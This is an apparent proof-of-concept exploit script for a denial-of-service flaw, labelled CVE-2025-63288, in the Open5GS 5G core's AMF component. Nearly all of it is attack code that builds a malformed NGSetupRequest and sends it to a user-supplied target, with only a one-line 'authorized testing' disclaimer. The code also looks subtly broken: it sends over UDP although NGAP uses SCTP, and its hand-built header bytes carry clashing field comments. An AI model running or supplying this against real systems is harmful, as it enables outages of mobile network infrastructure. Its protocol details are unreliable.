#!/usr/bin/env python3
"""
CVE-2025-63288 PoC - Open5GS AMF Denial of Service
This PoC demonstrates the vulnerability by sending a malformed NGSetupRequest
message to trigger a crash in Open5GS AMF component.
Note: This code is for educational and authorized security testing purposes only.
"""
import socket
import struct
import sys
def create_ngap_header(procedure_code, pdu_type):
"""Create NGAP header for NGSetupRequest"""
ngap_pdu = bytes([
0x00, 0x0f, # NGAP PDU: initiatingMessage
0x00, procedure_code, # procedureCode: ngSetup (15)
0x00, 0x01, # criticality: reject
0x00, pdu_type, # procedureCode: ngSetupRequest (21)
0x00, 0x02 # criticality: reject
])
return ngap_pdu
def create_malformed_ngsetup_request():
"""
Create a malformed NGSetupRequest message that triggers the vulnerability
The vulnerability exists when AMF processes abnormal NGSetupRequest messages
"""
# NGAP Header
header = create_ngap_header(0x0f, 0x15)
# Malformed IE (Information Element) with missing required fields
# This triggers the vulnerability due to improper error handling
malformed_ies = bytes([
0x00, 0x00, 0x40, 0x01, # Global gNB ID
0x00, 0x00, 0x40, 0x02, # gNB Name (optional, malformed)
0x00, 0x00, 0x40, 0x03, # Supported TA List (malformed)
0x00, 0x00, 0x00, 0x00, # Paging DRX (invalid)
])
return header + malformed_ies
def exploit(target_ip, target_port=38412):
"""
Send malformed NGSetupRequest to trigger DoS
"""
print(f"[*] Targeting {target_ip}:{target_port}")
print(f"[*] Creating malformed NGSetupRequest...")
payload = create_malformed_ngsetup_request()
try:
print(f"[*] Sending malicious payload...")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
# Send malformed NGSetupRequest
sock.sendto(payload, (target_ip, target_port))
print(f"[+] Payload sent successfully")
print(f"[*] The malformed message should trigger AMF crash")
sock.close()
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412
exploit(target, port)